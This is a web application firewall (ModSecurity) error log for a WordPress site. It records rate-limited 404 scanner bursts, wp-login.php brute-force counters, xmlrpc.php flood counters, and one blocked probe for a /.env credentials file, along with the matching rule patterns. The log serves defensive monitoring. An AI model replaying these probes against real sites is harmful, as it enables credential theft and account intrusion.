[Tue May 26 14:03:27.348353 2026] [:error] [pid 20024:tid 20059] [client 65.108.2.171:49984] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ahU3r1dk7QtxEB93NpdjYAAAABU"]
[Tue May 26 14:03:29.340892 2026] [:error] [pid 20025:tid 20087] [client 65.108.2.171:49992] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ahU3sX7k8Vts-JPOkgWE5wAAAFY"]
[Tue May 26 14:03:31.813686 2026] [:error] [pid 20025:tid 20072] [client 65.108.2.171:49998] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ahU3s37k8Vts-JPOkgWE6gAAAEc"]
[Tue May 26 14:03:33.813898 2026] [:error] [pid 20025:tid 20072] [client 65.108.2.171:50004] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ahU3tX7k8Vts-JPOkgWE8wAAAEc"]
[Tue May 26 14:03:35.893010 2026] [:error] [pid 20025:tid 20089] [client 65.108.2.171:47760] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ahU3t37k8Vts-JPOkgWE-QAAAFg"]
[Tue May 26 14:03:37.840944 2026] [:error] [pid 55988:tid 56011] [client 65.108.2.171:47774] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ahU3uf3kVIz2sql52scPZAAAARQ"]
[Tue May 26 14:03:39.894775 2026] [:error] [pid 20125:tid 20133] [client 65.108.2.171:47784] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ahU3u9k9jeWERFDLJc4F-QAAAMY"]
[Tue May 26 14:03:41.834505 2026] [:error] [pid 39336:tid 39354] [client 65.108.2.171:47788] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ahU3vdwmp9MmyaRNgiArwAAAAU8"]
[Tue May 26 14:03:43.980380 2026] [:error] [pid 20026:tid 20109] [client 65.108.2.171:47796] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ahU3vzXIXIr-5BZ8nR5S4QAAAJE"]
[Tue May 26 14:03:46.016645 2026] [:error] [pid 20025:tid 20087] [client 65.108.2.171:55486] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ahU3wn7k8Vts-JPOkgWFGAAAAFY"]
[Tue May 26 14:03:48.053711 2026] [:error] [pid 55988:tid 56006] [client 65.108.2.171:55516] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ahU3xP3kVIz2sql52scPbQAAAQ8"]
[Tue May 26 14:03:50.302178 2026] [:error] [pid 39336:tid 39358] [client 65.108.2.171:55528] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ahU3xtwmp9MmyaRNgiArxgAAAVM"]
[Tue May 26 14:03:52.212867 2026] [:error] [pid 20024:tid 20045] [client 65.108.2.171:55540] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ahU3yFdk7QtxEB93NpdjagAAAAc"]
[Tue May 26 14:03:54.084479 2026] [:error] [pid 55988:tid 56012] [client 65.108.2.171:55552] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ahU3yv3kVIz2sql52scPgAAAARU"]
[Tue May 26 14:03:56.122876 2026] [:error] [pid 20024:tid 20041] [client 65.108.2.171:38032] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ahU3zFdk7QtxEB93NpdjbAAAAAM"]
[Tue May 26 14:03:58.162741 2026] [:error] [pid 20125:tid 20130] [client 65.108.2.171:38040] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ahU3ztk9jeWERFDLJc4GDgAAAMM"]
[Tue May 26 14:04:00.387614 2026] [:error] [pid 20125:tid 20140] [client 65.108.2.171:38052] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ahU30Nk9jeWERFDLJc4GEAAAAM0"]
[Tue May 26 14:04:02.409969 2026] [:error] [pid 20125:tid 20129] [client 65.108.2.171:38058] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ahU30tk9jeWERFDLJc4GFwAAAMI"]
[Tue May 26 14:04:04.343663 2026] [:error] [pid 20026:tid 20103] [client 65.108.2.171:32650] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ahU31DXIXIr-5BZ8nR5S8wAAAIs"]
[Tue May 26 14:04:06.315912 2026] [:error] [pid 20025:tid 20089] [client 65.108.2.171:32666] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ahU31n7k8Vts-JPOkgWFMQAAAFg"]
[Tue May 26 14:04:08.223748 2026] [:error] [pid 20025:tid 20082] [client 65.108.2.171:32682] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ahU32H7k8Vts-JPOkgWFNwAAAFE"]
[Tue May 26 14:04:10.266216 2026] [:error] [pid 20025:tid 20069] [client 65.108.2.171:32696] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ahU32n7k8Vts-JPOkgWFOgAAAEQ"]
[Tue May 26 14:29:03.479110 2026] [:error] [pid 20125:tid 20143] [client 138.197.219.126:38438] [client 138.197.219.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.219.126, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahU9r9k9jeWERFDLJc4MIgAAANA"]
[Tue May 26 14:29:05.117941 2026] [:error] [pid 20125:tid 20135] [client 138.197.219.126:38438] [client 138.197.219.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.219.126, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahU9sdk9jeWERFDLJc4MJgAAAMg"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 14:40:38.653251 2026] [:error] [pid 20026:tid 20103] [client 141.95.202.18:54538] [client 141.95.202.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.202.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahVAZjXIXIr-5BZ8nR5ZYgAAAIs"]
[Tue May 26 14:40:40.209719 2026] [:error] [pid 20026:tid 20114] [client 141.95.202.18:54538] [client 141.95.202.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.202.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahVAaDXIXIr-5BZ8nR5ZZAAAAJY"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 14:57:30.451802 2026] [:error] [pid 20025:tid 20084] [client 88.116.162.103:59494] [client 88.116.162.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.116.162.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahVEWn7k8Vts-JPOkgWf0wAAAFM"]
[Tue May 26 14:57:32.261707 2026] [:error] [pid 20025:tid 20085] [client 88.116.162.103:59494] [client 88.116.162.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.116.162.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahVEXH7k8Vts-JPOkgWf2gAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 15:02:46.203922 2026] [:error] [pid 20024:tid 20062] [client 103.230.156.120:52320] [client 103.230.156.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.230.156.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahVFlldk7QtxEB93NpdsZAAAABg"]
[Tue May 26 15:02:47.852605 2026] [:error] [pid 20024:tid 20040] [client 103.230.156.120:52320] [client 103.230.156.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.230.156.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahVFl1dk7QtxEB93NpdsZgAAAAI"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 15:16:57.398191 2026] [:error] [pid 20125:tid 20128] [client 45.250.255.226:34162] [client 45.250.255.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.250.255.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahVI6dk9jeWERFDLJc4V6wAAAME"]
[Tue May 26 15:16:58.873461 2026] [:error] [pid 20125:tid 20151] [client 45.250.255.226:34162] [client 45.250.255.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.250.255.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahVI6tk9jeWERFDLJc4V7QAAANg"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 15:39:12.965855 2026] [:error] [pid 20024:tid 20045] [client 43.155.27.244:57052] [client 43.155.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahVOIFdk7QtxEB93NpdyuQAAAAc"]
[Tue May 26 16:43:09.987325 2026] [:error] [pid 39336:tid 39355] [client 162.14.81.106:59140] [client 162.14.81.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahVdHdwmp9MmyaRNgiBqgwAAAVA"]
[Tue May 26 16:44:59.704822 2026] [:error] [pid 39336:tid 39361] [client 167.99.5.1:45306] [client 167.99.5.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.99.5.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahVdi9wmp9MmyaRNgiBrRAAAAVY"]
[Tue May 26 16:45:02.097634 2026] [:error] [pid 39336:tid 39343] [client 167.99.5.1:45306] [client 167.99.5.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.99.5.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahVdjtwmp9MmyaRNgiBrTAAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 17:05:08.435868 2026] [:error] [pid 20024:tid 20039] [client 34.11.17.55:57720] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahViRFdk7QtxEB93NpeBqAAAAAE"]
[Tue May 26 17:05:08.880505 2026] [:error] [pid 55988:tid 56000] [client 34.11.17.55:57509] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/license.txt"] [unique_id "ahViRP3kVIz2sql52sdh1QAAAQk"]
[Tue May 26 17:05:09.342930 2026] [:error] [pid 20026:tid 20102] [client 34.11.17.55:62272] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/feed/"] [unique_id "ahViRTXIXIr-5BZ8nR52vgAAAIo"]
[Tue May 26 18:15:22.161384 2026] [:error] [pid 36497:tid 36511] [client 154.242.153.188:59558] [client 154.242.153.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.242.153.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahVyurjKQWM1gBmBY4iYowAAAME"]
[Tue May 26 18:16:02.557419 2026] [:error] [pid 33887:tid 33928] [client 154.242.153.188:60694] [client 154.242.153.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.242.153.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahVy4tCOI_FV7meOxGcClwAAAIk"]
[Tue May 26 18:16:25.769314 2026] [:error] [pid 43701:tid 43710] [client 154.242.153.188:61454] [client 154.242.153.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.242.153.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahVy-YWtVI_UGrhtwKAkcwAAAUc"]
[Tue May 26 18:17:03.259251 2026] [:error] [pid 43701:tid 43710] [client 154.242.153.188:62627] [client 154.242.153.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.242.153.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahVzH4WtVI_UGrhtwKAk9wAAAUc"]
[Tue May 26 18:17:29.412432 2026] [:error] [pid 33977:tid 33990] [client 154.242.153.188:63414] [client 154.242.153.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.242.153.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahVzOe9cnSDNAU9sYPiamwAAAAo"]
[Tue May 26 18:24:54.861886 2026] [:error] [pid 43701:tid 43711] [client 154.242.157.136:61291] [client 154.242.157.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.242.157.136, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahV09oWtVI_UGrhtwKApRQAAAUg"]
[Tue May 26 18:25:33.794278 2026] [:error] [pid 36497:tid 36522] [client 154.242.157.136:62816] [client 154.242.157.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.242.157.136, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahV1HbjKQWM1gBmBY4idVwAAAMw"]
[Tue May 26 18:25:45.456256 2026] [:error] [pid 43701:tid 43709] [client 154.242.157.136:63230] [client 154.242.157.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.242.157.136, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahV1KYWtVI_UGrhtwKApzwAAAUY"]
[Tue May 26 18:26:11.933202 2026] [:error] [pid 33887:tid 33930] [client 154.242.157.136:64006] [client 154.242.157.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.242.157.136, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahV1Q9COI_FV7meOxGcFGQAAAIs"]
[Tue May 26 18:29:02.871865 2026] [:error] [pid 33887:tid 33920] [client 154.242.157.136:64522] [client 154.242.157.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.242.157.136, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahV17tCOI_FV7meOxGcFkAAAAIE"]
[Tue May 26 18:35:49.028733 2026] [:error] [pid 36497:tid 36523] [client 176.65.139.233:51478] [client 176.65.139.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "ahV3hbjKQWM1gBmBY4ig2AAAAM0"]
[Tue May 26 18:45:38.890016 2026] [:error] [pid 43701:tid 43709] [client 154.242.158.135:60014] [client 154.242.158.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.242.158.135, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahV50oWtVI_UGrhtwKAzFQAAAUY"]
[Tue May 26 19:55:57.716727 2026] [:error] [pid 36497:tid 36514] [client 174.138.83.43:56444] [client 174.138.83.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 174.138.83.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWKTbjKQWM1gBmBY4jMvgAAAMQ"]
[Tue May 26 19:55:59.222469 2026] [:error] [pid 36497:tid 36511] [client 174.138.83.43:56444] [client 174.138.83.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 174.138.83.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWKT7jKQWM1gBmBY4jMvwAAAME"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 20:28:16.209102 2026] [:error] [pid 33977:tid 34002] [client 45.146.54.180:36797] [client 45.146.54.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWR4O9cnSDNAU9sYPjU1wAAABY"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:28:21.284419 2026] [:error] [pid 33886:tid 33907] [client 45.131.194.86:38955] [client 45.131.194.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWR5bBYzgp5rPVdHcWUCwAAAFA"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:28:27.064889 2026] [:error] [pid 43701:tid 43719] [client 45.131.194.109:42493] [client 45.131.194.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.109, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWR64WtVI_UGrhtwKCYnQAAAVA"], referer: https://gigfragments.org/wp-admin/
